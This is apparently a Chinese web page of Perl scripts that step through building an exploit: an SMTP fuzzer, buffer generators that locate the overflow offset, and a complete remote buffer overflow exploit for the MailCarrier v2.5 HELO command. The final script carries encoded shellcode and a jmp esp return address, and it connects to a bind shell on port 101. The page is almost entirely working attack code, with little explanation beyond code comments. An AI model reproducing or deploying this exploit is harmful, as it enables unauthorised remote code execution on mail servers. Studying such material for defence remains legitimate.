
| 代碼: |
| #!/usr/bin/perl #溢出檢測程序 by 孟方明〔-273℃〕 use IO::Socket; my $host="192.168.220.6";#目標地址,自己修改就是了 my $port=25;#目標端口 my @cmds=(HELO,EHLO);#這里我們手動(dòng)填入我們需要檢測的命令 my $test="111122223333444455556666777788889999";#原始測試字符串 my $rnd;#產(chǎn)生隨機數以便隨機產(chǎn)生測試buffer my $times=20;#初始化重復次數 my $buf; my $bytes; foreach $cmd (@cmds){ print "test $cmd command\n"; sleep 1; my $sock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,$Proto=>‘tcp‘) || die "connected failed\n"; #如果連不上了,嘿嘿~~~~ while (<$sock>) { print $_; $rnd=int(rand(10)); print "the seed is $rnd\n"; $times=$times*$rnd; print "$times times we should repeat\n"; $buf=$test x $times; print "buffer we use to attack:\n$buf\n"; $bytes=length($buf); print "the length of buffer:$bytes\n"; sleep 1; print "now attack:\n"; print $sock "$cmd $buf\r\n"; } close $sock; } |
| 代碼: |
| #!/usr/bin/perl #溢出點(diǎn)定位工具 by 孟方明[-273℃] $|=1; use IO::Socket; my $str="111122223333444455556666777788889999"; my $host="192.168.220.6"; my $port=25; sub genbuf{}#我們以后的修改都在這個(gè)過(guò)程里 &attack(&genbuf($str),$host,$port); sub attack { my ($buf,$host,$port)=@_; my $sock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>‘tcp‘); $sock->autoflush(1); my $res=<$sock>; print $res,"\n"; print "buffer sent are:\n"; print $buf,"\n"; print "buffer length is :\n"; print length($buf),"\n";#再屏幕上打出$buf的長(cháng)度 print "now sending...\n"; print $sock "HELO $buf\r\n"; $res=<$sock>; print $res; close $sock; } |
| 代碼: |
| sub genbuf{ my $str=shift; my $buf; $buf=$str x 300;#把$str的內容重復300次 return $buf; } |





| 代碼: |
| if($_=~/7777/)#如果該行包含“7777” { s/7{4}/$n x 4/e;#開(kāi)始替換 $n++; $n=1 if($n >9); } else {s/\d/a/g;}#如果不包含7,則將非7字符替換為‘a(chǎn)‘ |

| 代碼: |
| sub genbuf#我們以后的修改都在這個(gè)過(guò)程里 { my $str=shift; $str.="\n"; my $buf; $buf.=$str x 150; my $num=1; open(TEMP,">temp.txt");#以寫(xiě)入方式打開(kāi)一個(gè)臨時(shí)文件 print TEMP $buf;#將生成的原始buffer寫(xiě)入文件 undef($buf); close TEMP; open(TEMP,"<temp.txt");#從上面生成的文件讀取 my @buffer=<TEMP>;#全部讀到buffer數組中 close TEMP; my $buf=‘a(chǎn)‘; foreach(@buffer) { chomp($_); s/[^5]/a/g;#將所有非5字符全部替換為a s/5{4}/$num x 4/e;#以下3行代碼是將所有的5再按照1-9的順序替換 if($_=~/7777/)#如果該行包含“7777” { s/7{4}/$n x 4/e;#開(kāi)始替換 $n++; $n=1 if($n >9); if($_=~/7777/) { s/7{4}/$nn x 4/e; $nn++; $nn=1 if ($nn > 9); } else {s/\d/a/g;} } else {s/\d/a/g;}#如果不包含7,則將非7字符替換為‘a(chǎn) $num++; $num=1 if ($num >9); $buf.=$_; } undef $buffer; return $buf; } |

| 代碼: |
| sub cal { my $buf=shift; my $pos=index($buf,"2222"); my $shell=substr($buf,0,$pos); return $shell; } |

| 代碼: |
| #!/usr/bin/perl #mailcarrier HELO命令遠程溢出程序 by 孟方明〔-273℃〕 $|=1; use IO::Socket; &usage if(@ARGV<1); my $host=shift; my $buffer=‘a(chǎn)‘ x 5093; $buffer.="\x29\x4c\xdf\x77"; $buffer.="\x90" x 32;#為了確保執行到我們覆蓋的jmpesp地址后能順利執行到我們shellcode,我們往往會(huì )在shellcode前設一些NOP指令 my $shellcode="\xEB". "\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF". "\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D". "\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9". "\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C". "\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89". "\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03". "\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F". "\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88". "\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61". "\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9". "\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C". "\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8". "\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68". "\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F". "\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23". "\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89". "\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9". "\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77". "\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77". "\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77". "\x58\x68\x61\x63\x6B\x90"; $buffer.=$shellcode; my $sock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>25,Proto=>‘tcp‘) || die "connected failed!\n"; $sock->autoflush(1); my $res=<$sock>; print $res; print "Now starting sending special buffer...\n"; print $sock "HELO $buffer\r\n"; sleep 1; close $sock; print "Now trying to connect to remote port 101 ...\n"; sleep 1; system("telnet $host 101"); sub usage{ print<<"EOF"; MailCarrier v2.5 HELO command overflow exploit wrriten by 孟方明〔-273℃〕 usage: perl $0 <IP> if succeeded,you‘ll get a shell bind on remote port 101. EOF exit(0); } |

聯(lián)系客服